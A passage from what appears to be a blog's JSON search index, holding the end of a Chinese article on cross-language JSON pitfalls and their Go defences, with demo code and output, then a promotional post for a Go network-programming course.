false。JSON 规范对此未做规定。\nGo 防御指南：\n这并非 encoding/json 包的职责，但作为 Go 开发者必须了解。在进行任何需要比较、索引或持久化的字符串操作之前，必须对 Unicode 字符串进行规范化。Go 的 golang.org/x/text/unicode/norm 包为此提供了强大的工具：\n// demo3/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;golang.org/x/text/unicode/norm\u0026#34; ) func main() { name1 := \u0026#34;José\u0026#34; name2 := \u0026#34;Jose\\u0301\u0026#34; fmt.Println(name1 == name2) // 输出: false // 使用 NFC 形式进行规范化后再比较 fmt.Println(norm.NFC.String(name1) == norm.NFC.String(name2)) // 输出: true } 陷阱四：对象键序 —— 加密签名的噩梦 JSON 规范明确指出：“对象是无序的键值对集合。” 然而，在 HMAC 签名、内容哈希、缓存键生成等需要字节级别稳定性的场景中，我们又隐式地依赖于一个确定的序列化顺序。\n对此，不同语言和库对此的处理方式大相径庭：\nJavaScript (ES2015+) 和 Python (3.7+)：在现代版本中，它们都倾向于保留对象键的插入顺序。 Java: 依赖于具体的 Map 实现，LinkedHashMap 保留顺序，而 HashMap 不保证。 Go (v1 \u0026amp; v2)：行为最为独特和明确。 反序列化/迭代：Go 的 map 迭代顺序是故意随机化的。 序列化 map：encoding/json 在序列化 map 时，会默认按字母顺序对键进行排序。 序列化 struct：会遵循结构体中字段的定义顺序。 这种不一致性，是导致加密操作在开发环境（例如，JS fetch）和生产环境（Go 后端）之间签名验证失败的常见元凶。\n下面的例子模拟了一个场景：一个 JavaScript 前端和一个 Go 后端，对相同的业务数据生成 HMAC 签名。\n// demo4/main.go package main import ( \u0026#34;crypto/hmac\u0026#34; \u0026#34;crypto/sha256\u0026#34; \u0026#34;encoding/hex\u0026#34; \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { // --- 问题场景 --- // 假设两个不同的系统需要对相同的业务数据进行签名。 // 系统 1: 一个 JavaScript 服务，它保留了对象属性的插入顺序。 // 注意键的顺序: \u0026#34;currency\u0026#34; 在前, \u0026#34;amount\u0026#34; 在后。 jsONString := {\u0026#34;currency\u0026#34;:\u0026#34;USD\u0026#34;,\u0026#34;amount\u0026#34;:100} fmt.Printf(\u0026#34;JSON from JS-like system: %s\\n\u0026#34;, jsONString) // 系统 2: 一个 Go 服务，它序列化一个 map。 data := map[string]interface{}{ \u0026#34;currency\u0026#34;: \u0026#34;USD\u0026#34;, \u0026#34;amount\u0026#34;: 100, } // Go 的 json.Marshal 会对 map 的键按字母顺序排序。 // 因此 \u0026#34;amount\u0026#34; 会排在 \u0026#34;currency\u0026#34; 前面。 goJSONBytes, _ := json.Marshal(data) goJSONString := string(goJSONBytes) fmt.Printf(\u0026#34;JSON from Go system (map): %s\\n\u0026#34;, goJSONString) // --- 导致的后果: 加密签名失败 --- secret := []byte(\u0026#34;my-super-secret-key\u0026#34;) // 为 JS 风格的 JSON 字符串计算 HMAC hmacJS := calculateHMAC(secret, []byte(jsONString)) fmt.Printf(\u0026#34;HMAC for JS JSON: %s\\n\u0026#34;, hmacJS) // 为 Go 生成的 JSON 字符串计算 HMAC hmacGo := calculateHMAC(secret, goJSONBytes) fmt.Printf(\u0026#34;HMAC for Go JSON: %s\\n\u0026#34;, hmacGo) // 比较两个签名 signaturesMatch := hmac.Equal([]byte(hmacJS), []byte(hmacGo)) fmt.Printf(\u0026#34;\\nDo the signatures match? %t\\n\u0026#34;, signaturesMatch) if !signaturesMatch { fmt.Println(\u0026#34;Authentication Fails! The byte representations were different.\u0026#34;) } } // calculateHMAC 是一个辅助函数，用于计算并编码 HMAC 值 func calculateHMAC(secret, data []byte) string { h := hmac.New(sha256.New, secret) h.Write(data) return hex.EncodeToString(h.Sum(nil)) } 运行这个示例，得到下面输出：\nJSON from JS-like system: {\u0026#34;currency\u0026#34;:\u0026#34;USD\u0026#34;,\u0026#34;amount\u0026#34;:100} JSON from Go system (map): {\u0026#34;amount\u0026#34;:100,\u0026#34;currency\u0026#34;:\u0026#34;USD\u0026#34;} HMAC for JS JSON: 6e79a600ccff47618144c12713f24af06b3278eef5b895f61bb6c74fde2d861e HMAC for Go JSON: fe2d3217a0ddcbe8a5879f42703124c31824b87747d017e61e3f7ce8a289e7f7 Do the signatures match? false Authentication Fails! The byte representations were different. 这个例子清晰地表明，尽管两份 JSON 在语义上完全等价，但由于字节表示不同，最终导致了签名验证失败。\nGo 防御指南：\n对于任何需要字节级一致性的操作，必须使用“规范化 JSON” (Canonical JSON)。最简单的规范化方法，就是在序列化前，始终对对象的键按字母顺序进行排序。\n幸运的是，Go 的 encoding/json 在处理 map 时默认就在这样做，这反而使 Go 在处理这类问题时，比其他语言更具天生的健 robustness。当你需要确保跨语言的签名一致性时，应确保所有其他语言的客户端在生成 JSON 签名负载时，也遵循相同的键排序规则。\n陷阱五：空值的迷思 —— null vs. 零值 vs. 缺失 如何在 JSON 中表达“值的缺失”？这是一个比看起来要复杂得多的问题，因为不同语言对此有不同的理解。\nJavaScript：拥有 null（显式为空）和 undefined（从未定义）两个概念。 Python：用 None 表示，序列化为 null。 Go：Go 的静态类型系统为我们提供了精确控制的能力，但同时也需要开发者理解其背后的模式和权衡。 解码时的核心挑战:\n在解码（反序列化）时，我们常常需要处理三种不同的状态：\n提供了具体的值（如 “description”: “A user”） 显式地提供了 null（如 “description”: null） 完全没有提供该字段（missing） 当使用 map[string]interface{} 时，你无法区分一个键在 JSON 中是被显式设置为 null，还是根本就不存在，因为这两种情况都会导致 map 中的值为 nil。\nGo 防御指南：分层解决方案\n第一层防御（95% 的场景）：用指针区分“零值”与“值的缺失” 在绝大多数 API 设计（尤其是 PATCH 请求）中，我们最关心的其实是区分**“用户想把字段更新为一个空值/零值”（例如 “” 或 0）和“用户根本不想碰这个字段”**。\n对于这个核心需求，指针字段是 Go 最地道、最简洁的解决方案。\n// demo5/main1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type UserUpdatePayload struct { Nickname string json:\u0026#34;nickname\u0026#34; Description *string json:\u0026#34;description\u0026#34; // 指针字段表示可选 } func main() { // 场景一：用户想将 description 更新为空字符串 \u0026#34;\u0026#34; jsonWithValue := []byte({\u0026#34;nickname\u0026#34;:\u0026#34;Gopher\u0026#34;, \u0026#34;description\u0026#34;:\u0026#34;\u0026#34;}) var u1 UserUpdatePayload json.Unmarshal(jsonWithValue, \u0026amp;u1) fmt.Printf(\u0026#34;Scenario 1 (Zero Value): Description is nil: %t, Value: \u0026#39;%s\u0026#39;\\n\u0026#34;, u1.Description == nil, *u1.Description) // 场景二：用户未提供 description 字段 (无论是显式 null 还是 missing) jsonWithoutValue := []byte({\u0026#34;nickname\u0026#34;:\u0026#34;Gopher\u0026#34;}) // or {\u0026#34;description\u0026#34;:null} var u2 UserUpdatePayload json.Unmarshal(jsonWithoutValue, \u0026amp;u2) fmt.Printf(\u0026#34;Scenario 2 (Absence): Description is nil: %t\\n\u0026#34;, u2.Description == nil) } 输出：\nScenario 1 (Zero Value): Description is nil: false, Value: \u0026#39;\u0026#39; Scenario 2 (Absence): Description is nil: true 这个例子清晰地表明，指针字段完美地区分了“零值” (“”) 和“值的缺失” (nil)。对于大多数业务场景，将显式的 null 和 missing 都视为“值的缺失”，是一种合理且有效的简化。\n第二层防御（高级场景）：当必须区分 null 与 missing 时 然而，在某些严格的 API 或数据同步场景中，你可能必须区分“用户显式地将值设为 null”和“用户完全没有提及这个字段”。\n对于这种高级需求，简单的结构体与指针已不足够。我们需要借助 json.RawMessage 来实现终极控制。\n// demo5/main2.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { // 场景一：description 显式为 null jsonWithNull := []byte({\u0026#34;name\u0026#34;:\u0026#34;Gopher\u0026#34;, \u0026#34;description\u0026#34;:null}) // 场景二：description 字段缺失 jsonMissing := []byte({\u0026#34;name\u0026#34;:\u0026#34;Gopher\u0026#34;}) distinguish(jsonWithNull) distinguish(jsonMissing) } func distinguish(jsonData []byte) { // 步骤 1: 解码到一个 map[string]json.RawMessage var raw map[string]json.RawMessage if err := json.Unmarshal(jsonData, \u0026amp;raw); err != nil { panic(err) } // 步骤 2: 检查 \u0026#34;description\u0026#34; 键是否存在 descData, ok := raw[\u0026#34;description\u0026#34;] if !ok { fmt.Println(\u0026#34;Result: \u0026#39;description\u0026#39; key is MISSING.\u0026#34;) return } // 步骤 3: 如果键存在，检查其内容是否为 \u0026#34;null\u0026#34; if string(descData) == \u0026#34;null\u0026#34; { fmt.Println(\u0026#34;Result: \u0026#39;description\u0026#39; key is explicitly NULL.\u0026#34;) return } // 如果存在且不为 null，则可以进一步解码 var desc string json.Unmarshal(descData, \u0026amp;desc) fmt.Printf(\u0026#34;Result: \u0026#39;description\u0026#39; has value: %s\\n\u0026#34;, desc) } 输出：\nResult: \u0026#39;description\u0026#39; key is explicitly NULL. Result: \u0026#39;description\u0026#39; key is MISSING. 这个模式虽然更复杂，但它提供了最精确的控制。它首先检查键是否存在于 map 中，如果存在，再检查其原始的 JSON 文本是否就是 null。\n陷阱六：时间格式 —— 无尽的变体 JSON 规范没有原生的日期时间类型，这是一个“历史遗留问题”，导致了社区在实践中发展出多种多样的表示方式，成了一个“标准分裂”的重灾区。\n一个典型的跨语言 API 可能会收到如下混合格式的 JSON：\n{ \u0026#34;iso_string\u0026#34;: \u0026#34;2023-01-15T10:30:00.000Z\u0026#34;, \u0026#34;unix_timestamp\u0026#34;: 1673780200, \u0026#34;unix_milliseconds\u0026#34;: 1673780200000, \u0026#34;date_only\u0026#34;: \u0026#34;2023-01-15\u0026#34;, \u0026#34;custom_format\u0026#34;: \u0026#34;15/01/2023 10:30:00\u0026#34; } 不同语言的库对这些格式的默认解析行为千差万别，极易出错。例如，JavaScript 的 new Date() 构造函数在处理 Unix 时间戳时，期望的是毫秒而非秒，这常常导致微妙的 bug。\nGo 防御指南：\nGo 的 time.Time 类型及其与 encoding/json 的集成，为处理这种混乱提供了强大而灵活的工具。\n善用 time.Time 的默认行为：Go 的 time.Time 类型在 json.Unmarshal 时，默认就能正确解析符合 RFC 3339 标准（ISO 8601 的一个常见子集）的字符串。这是最推荐、最无痛的方式。\n为非标准格式实现自定义 UnmarshalJSON：对于 Unix 时间戳或其他自定义格式，我们可以通过为自定义类型实现 json.Unmarshaler 接口，来精确控制解析逻辑。\n下面的例子展示了如何在一个结构体中，优雅地处理上述所有时间格式。\n//demo6/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;strconv\u0026#34; \u0026#34;time\u0026#34; ) // CustomTime 是一个自定义类型，用于处理非标准的 \u0026#34;DD/MM/YYYY HH:MM:SS\u0026#34; 格式 type CustomTime struct { time.Time } // 为 CustomTime 实现 UnmarshalJSON 接口 func (ct *CustomTime) UnmarshalJSON(b []byte) error { // 首先去除字符串的引号 s, err := strconv.Unquote(string(b)) if err != nil { return err } // 定义我们期望的格式 const layout = \u0026#34;02/01/2006 15:04:05\u0026#34; t, err := time.Parse(layout, s) if err != nil { return err } ct.Time = t return nil } // UnixTime 是一个自定义类型，用于处理以秒为单位的 Unix 时间戳 type UnixTime struct { time.Time } func (ut *UnixTime) UnmarshalJSON(b []byte) error { // 将 JSON 数字转换为 int64 unixSec, err := strconv.ParseInt(string(b), 10, 64) if err != nil { return err } ut.Time = time.Unix(unixSec, 0) return nil } // Event 结构体包含了所有不同格式的时间字段 type Event struct { ISOString time.Time json:\u0026#34;iso_string\u0026#34; // 标准库直接支持 UnixTimestamp UnixTime json:\u0026#34;unix_timestamp\u0026#34; // 自定义类型处理 UnixMilliseconds int64 json:\u0026#34;unix_milliseconds\u0026#34; // 直接用 int64 接收 DateOnly string json:\u0026#34;date_only\u0026#34; // 简单情况用 string CustomFormat CustomTime json:\u0026#34;custom_format\u0026#34; // 自定义类型处理 } func main() { jsonData := []byte({ \u0026#34;iso_string\u0026#34;: \u0026#34;2023-01-15T10:30:00.000Z\u0026#34;, \u0026#34;unix_timestamp\u0026#34;: 1673780200, \u0026#34;unix_milliseconds\u0026#34;: 1673780200000, \u0026#34;date_only\u0026#34;: \u0026#34;2023-01-15\u0026#34;, \u0026#34;custom_format\u0026#34;: \u0026#34;15/01/2023 10:30:00\u0026#34; }) var event Event if err := json.Unmarshal(jsonData, \u0026amp;event); err != nil { panic(err) } fmt.Printf(\u0026#34;ISO String: %s\\n\u0026#34;, event.ISOString.UTC()) fmt.Printf(\u0026#34;Unix Timestamp: %s\\n\u0026#34;, event.UnixTimestamp.UTC()) // 从毫秒时间戳创建 time.Time msTime := time.UnixMilli(event.UnixMilliseconds) fmt.Printf(\u0026#34;Unix Milliseconds: %s\\n\u0026#34;, msTime.UTC()) fmt.Printf(\u0026#34;Date Only: %s\\n\u0026#34;, event.DateOnly) fmt.Printf(\u0026#34;Custom Format: %s\\n\u0026#34;, event.CustomFormat.UTC()) // 假设 custom format 也是 UTC } 运行这个示例输出：\nISO String: 2023-01-15 10:30:00 +0000 UTC Unix Timestamp: 2023-01-15 10:56:40 +0000 UTC Unix Milliseconds: 2023-01-15 10:56:40 +0000 UTC Date Only: 2023-01-15 Custom Format: 2023-01-15 10:30:00 +0000 UTC 这个示例清晰地展示了 Go 在处理时间格式时的灵活性和健壮性。\n陷阱七：错误处理 —— 宽容还是严格？ 对于不规范的 JSON（如尾随逗号、重复的键），不同解析器的行为也大相径庭。\nGo在jsonv1和jsonv2中对不规范json的错误处理略有差异，下面我们看一个示例在jsonv1和jsonv2下的不同表现。\n// demo7/main.go package main import ( \u0026#34;encoding/json\u0026#34; // 在jsonv2时，改为\u0026#34;encoding/json/v2\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { var data map[string]int // Duplicate keys - last value wins (no error) err := json.Unmarshal([]byte({\u0026#34;a\u0026#34;: 1, \u0026#34;a\u0026#34;: 2}), \u0026amp;data) if err != nil { fmt.Println(\u0026#34;Duplicate key error:\u0026#34;, err) } else { fmt.Printf(\u0026#34;Duplicate keys allowed, value: %d\\n\u0026#34;, data[\u0026#34;a\u0026#34;]) // 2 } // Trailing commas - error err = json.Unmarshal([]byte({\u0026#34;a\u0026#34;: 1,}), \u0026amp;data) if err != nil { fmt.Println(\u0026#34;Trailing comma error:\u0026#34;, err) } // Leading zeros - error err = json.Unmarshal([]byte({\u0026#34;num\u0026#34;: 007}), \u0026amp;data) if err != nil { fmt.Println(\u0026#34;Leading zeros error:\u0026#34;, err) } // Single quotes - error err = json.Unmarshal([]byte({\u0026#39;a\u0026#39;: 1}), \u0026amp;data) if err != nil { fmt.Println(\u0026#34;Single quotes error:\u0026#34;, err) } } 上述示例在json/v1下的运行结果：\nDuplicate keys allowed, value: 2 Trailing comma error: invalid character \u0026#39;}\u0026#39; looking for beginning of object key string Leading zeros error: invalid character \u0026#39;0\u0026#39; after object key:value pair Single quotes error: invalid character \u0026#39;\\\u0026#39;\u0026#39; looking for beginning of object key string 而在Go 1.25.0 GOEXPERIMENT=jsonv2下的运行结果如下：\nDuplicate key error: jsontext: duplicate object member name \u0026#34;a\u0026#34; Trailing comma error: jsontext: invalid character \u0026#39;,\u0026#39; at start of value after offset 7 Leading zeros error: jsontext: invalid character \u0026#39;0\u0026#39; after object value (expecting \u0026#39;,\u0026#39; or \u0026#39;}\u0026#39;) after offset 9 Single quotes error: jsontext: invalid character \u0026#39;\\\u0026#39;\u0026#39; at start of value after offset 1 Go 防预指南：v1 的宽容与 v2 的严格\n坚持最小公分母原则。在生成 JSON 时，始终产出最严格、最符合 RFC 8259 规范的格式。Go 的 encoding/json (v1) 在这方面表现得相对严格，但在某些地方又过于“宽容”。实验性的 json/v2 则旨在提供更严格、更安全的默认行为。\n让我们结合上面的例子输出，来具体对比 v1 和 v2 在处理不规范 JSON 时的行为差异：\n1. 重复的键 (Duplicate Keys)\nv1 行为：“最后出现者获胜” Duplicate keys allowed, value: 2 json/v1 默认允许对象中出现重复的键，并且不会报错。最后一个出现的值会无声地覆盖前面的值。这是一种非常危险的行为，因为它可能导致难以追踪的数据丢失或状态不一致问题。\nv2 行为：显式错误 Duplicate key error: jsontext: duplicate object member name \u0026#34;a\u0026#34; json/v2 默认会拒绝带有重复键的 JSON，并返回一个清晰的错误。这是一个重大的安全改进，它将一个潜在的、静默的数据损坏风险，转变为一个在解析阶段就能被立即捕获的编译时错误，强制开发者修正不规范的数据源。\n2. 尾随逗号 (Trailing Commas)\nv1 行为：语法错误 Trailing comma error: invalid character \u0026#39;}\u0026#39; looking for beginning of object key string v1 正确地拒绝了尾随逗号，但其错误信息略显晦涩。它告诉你它在 } 字符处遇到了问题，因为它期望看到下一个键的开始，而不是直接暗示问题在于前一个多余的逗号。\nv2 行为：更精确的错误 Trailing comma error: jsontext: invalid character \u0026#39;,\u0026#39; at start of value after offset 7 v2 同样拒绝了尾随逗号，但它的错误信息更加精确。它直接指出了问题字符是 ,，并给出了其在字节流中的确切偏移位置 (offset 7)，极大地提升了调试效率。\n3. 数字中的前导零 (Leading Zeros)\nv1 行为：语法错误 Leading zeros error: invalid character \u0026#39;0\u0026#39; after object key:value pair v1 拒绝了不符合 JSON 规范的八进制风格数字 007，但错误信息同样不够直观。\nv2 行为：更精确的错误 Leading zeros error: jsontext: invalid character \u0026#39;0\u0026#39; after object value (expecting \u0026#39;,\u0026#39; or \u0026#39;}\u0026#39;) after offset 9 v2 的错误信息再次胜出，它明确指出了在数字值之后遇到的无效字符 0，并提示了此处期望的字符（, 或 }），让开发者能更快地定位问题。\n4. 使用单引号 (Single Quotes)\nv1 \u0026amp; v2 行为对比 v1: Single quotes error: invalid character \u0026#39;\\\u0026#39;\u0026#39; looking for beginning of object key string v2: Single quotes error: jsontext: invalid character \u0026#39;\\\u0026#39;\u0026#39; at start of value after offset 1 两种版本都正确地拒绝了使用单引号的 JSON 字符串（规范要求必须使用双引号）。同样地，v2 提供了带有偏移位置的、更利于调试的错误信息。\n对于 Go 开发者而言，这意味着 json/v2 不仅仅是一个性能上的升级，更是在健壮性和开发者体验上的一次意义深远的飞跃，这些改变使得 Go 在处理 JSON 时的默认行为更加安全。\n小结 JSON 的优雅简洁是其最大的优点，但也是其最危险的弱点。当你的 Go 服务开始与一个由不同团队、不同语言、不同假设构建的复杂系统进行交互时，这种弱点就会被放大，演变成一系列难以追踪、足以毁掉整个周末的“灵异事件”：无声丢失精度的用户 ID、因键序不同而验证失败的 HMAC 签名、看似相同却无法匹配的 Unicode 用户名……\n解决方案不是抛弃 JSON，而是放弃“它在任何地方都一样”的天真幻想。幸运的是，对于 Go 开发者而言，我们拥有一个强大的“军火库”来应对这场跨语言的“阵地战”。\n这份“防御指南”的核心，可以浓缩为以下几条可立即执行的军规：\n首选强类型 struct：这是你的第一道，也是最坚固的一道防线。它能从根本上解决数字精度丢失、null 与缺失的歧义等一系列问题。请将 map[string]interface{} 留给那些你必须处理未知结构的场景。\nID 用字符串，金额用整数：对于所有可能超过 JavaScript 安全整数范围的 ID，请在 API 层面约定俗成地使用字符串类型。对于所有货币和精确计算，请将其转换为最小单位的整数（如“分”）进行传输。\n规范化你的字符串，统一你的时间：在处理任何来自外部的 Unicode 字符串之前，先用 golang.org/x/text/unicode/norm 将其“消毒”。在 API 契约中，强制规定所有时间都使用 ISO 8601 格式的 UTC 字符串，并始终在你的 struct 中使用 time.Time。\n善用指针与标签：在解码时，用指针字段来处理“值的缺失”。在编码时，精准地使用 omitempty/omitzero。\n拥抱 json/v2 的严格性：实验性的 json/v2 并非简单的性能优化，它在安全性和正确性上迈出了重要一步。其默认拒绝重复键的行为，将一个潜在的数据损坏风险，提升为了一个可在开发阶段就立即捕获的错误。这是 Go 语言在 JSON 处理上走向成熟的重要标志。\n请记住：在一个由不完美标准和人类（以及未来的 AI）编写的解析器组成的世界里，一点点怀疑精神，将大有裨益。信任，但要验证。\n本文涉及到的源码可以在这里下载。\n参考资料 json spec – https://www.json.org/json-en.html https://blog.dochia.dev/blog/json-isnt-json/ 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/09/json-isnt-json/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/json-isnt-json-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/09/json-isnt-json\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/09/json-isnt-json\"\u003ehttps://tonybai.com/2025/10/09/json-isnt-json\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eJSON (JavaScript Object Notation)，以其简洁、轻量、人类可读的特性，早已成为 Web API 和系统集成的“通用语”。它的承诺是：“一次编写，随处解析”。然而，这份看似美好的承诺背后，隐藏着一个被许多开发者忽略的残酷现实：\u003cstrong\u003eJSON 并不像其规范所暗示的那样通用。\u003c/strong\u003e\u003c/p\u003e","title":"Go开发者必读：JSON 的跨语言陷阱与 Go 防御指南"},{"content":"只会 net/http 还不够，Go 网络编程的“深水区”你敢闯吗？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n只会 net/http 还不够，Go 网络编程的“深水区”你敢闯吗？ 十月 8, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/08/go-network-programming-complete-guide\n大家好，我是Tony Bai。\n作为一个后端工程师，你一定对这个场景不陌生：\n深夜，告警响起。你负责的一个核心服务，对下游的调用延迟飙升，错误率激增。你第一时间检查了日志、指标，代码逻辑似乎无懈可击。于是，一个熟悉的声音在团队频道里响起：“是不是网络又抖动了？@运维 同学帮忙看一下！”\n网络，这个我们每天都在依赖，却又常常感到陌生的“透明层”，似乎成了我们排查问题时的“终极甩锅对象”。它像一个巨大的黑盒，我们知道数据进去了，也知道数据出来了，但中间发生了什么？为什么会慢？为什么会断？我们往往一知半解。\n尤其是对于我们 Gopher 来说，这种感觉可能更加强烈。\nGo 语言为我们创造了一个“网络编程很简单”的美好幻觉。\n我们不得不赞叹，Go 的 net 包设计得实在太过优雅。一行 net.Listen 就能启动一个服务器，一行 net.Dial 就能连接到远端，go handle(conn) 更是将困扰了 C/C++ 程序员几十年的并发模型化于无形。再加上 net/http 这个“开箱即用”的神器，我们似乎只用关心业务逻辑，网络？交给 Go 就好了。\n但这种美好的幻觉，也正是最危险的陷阱。\n当你的服务出现以下问题时，你是否曾感到束手可策？\n连接超时，到底是 DNS 解析慢，还是 TCP 握手慢，或是 TLS 握手慢？ 面对海量短连接，为什么系统会出现大量的 TIME_WAIT 状态，它会耗尽端口吗？ 线上出现大量 CLOSE_WAIT 状态，是谁的代码忘记了 Close() 连接？ 为什么我的 TCP 通信会“粘包”？应用层协议该如何设计？ HTTP/1.1、HTTP/2、HTTP/3 之间，除了名字，核心区别是什么？我的 gRPC 服务为什么比 REST 快？ 如果这些问题让你感到一丝迟疑，那么说明，你和我一样，都曾站在 Go 网络编程的“浅水区”边缘，对那片更广阔、更深邃的“深水区”充满了好奇与敬畏。\n在云原生和微服务成为技术主旋律的今天，深入理解网络，已经不再是网络工程师的专利，而是每一个后端工程师，尤其是 Gopher 的核心竞争力。 它决定了你是在应用层“搭积木”，还是能深入底层“造轮子”；决定了你是在故障面前束手无策，还是能像庖丁解牛般精准定位问题。\n是时候，打破那层“幻觉”了。\n因此，我花了数月时间，梳理了经典的网络编程理论，并结合 Go 语言的现代工程实践，精心打磨出了这个专栏——《Go 网络编程全解：从 Socket 到 HTTP/3》。\n这不（只）是一个教你如何使用 net 包的教程。我更希望把它打造成一张详尽的网络编程知识地图。我们将以经典理论为经，以 Go 语言实践为纬，从最底层的 Socket 出发，一步步带你穿越协议的迷雾，最终抵达现代应用协议的最前沿。\n在这张全新的地图上，我为你规划了三个核心的探索区域，内容相比最初的构思更加深入和全面：\n第一部分：坚实的“地基”——Socket 编程核心\n在这里，我们将回归本源，用 Go 的方式重走一遍经典的网络编程之路。你将掌握：\nTCP/UDP 编程的本质区别与 Go 的优雅抽象。 如何设计应用层协议来解决 TCP “粘包” 的核心难题。 我们将用 tcpdump 和 netstat 可视化 TCP 连接的完整生命周期，从三次握手到四次挥手，并深入剖析 TIME_WAIT 和 CLOSE_WAIT 这两大线上问题的“罪魁祸首”。 Go 并发服务器模型的革命性优势，以及如何实现优雅关闭。 I/O 多路复用的原理，以及 Go netpoller 的底层魔法。 第二部分：深入底层的“探险”——高级网络专题\n打好基础后，我们将深入更广阔的世界，用 Go 去探索那些“看不见”的网络细节。你将学会：\nDNS 解析的完整流程，以及 Go 如何实现 IPv4/IPv6 的无缝切换。 如何微调 Socket 选项，为你的应用“拧上”性能的阀门。 广播与多播的原理与实现，构建一对多的通信模式。 Raw Sockets 的威力，我们将一起用 Go 从零打造一个自己的 ping 程序。 Unix 域套接字，掌握本地进程间通信的“高速公路”，并了解如何用 Go 获取网络设备信息。 第三部分：驰骋现代应用的“高速公路”——现代应用层协议\n有了底层的坚实支撑，我们将把目光投向当今互联网的脉搏。你将精通：\nHTTP/1.1 与 HTTP/2 的演进，以及如何构建工业级的 Go Web 服务。 gRPC 的实战，掌握微服务时代的 RPC 利器。 QUIC 与 HTTP/3 的核心优势，并亲手用 Go 搭建起下一代的网络服务。 学完这个专栏，我希望带给你的，不仅仅是一堆 API 的用法，更是一种从底层原理出发，系统性思考和解决网络问题的能力。\n网络编程的“深水区”，风光无限，但也暗流涌动。一个人探索，或许会迷航，或许会放弃。现在，我希望能成为你的“领航员”，与你一同在这片广阔的水域中乘风破浪。\n如果你也对代码之下的网络世界充满好奇，渴望为自己的技术武器库增添这柄“屠龙之技”，那么，就让我们一起出发吧。\n这一次，让我们彻底征服 Go 网络编程。\n点击这里/扫描下方二维码，立即订阅《Go 网络编程全解：从 Socket 到 HTTP/3》，开启你的深度探索之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/08/go-network-programming-complete-guide/","summary":"\u003ch1 id=\"只会-nethttp-还不够go-网络编程的深水区你敢闯吗---tony-bai\"\u003e只会 net/http 还不够，Go 网络编程的“深水区”你敢闯吗？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"只会 net/http 还不够，Go 网络编程的“深水区”你敢闯吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/07/proposal-must-do\n大家好，我是Tony Bai。\nif err != nil 不仅是 Go 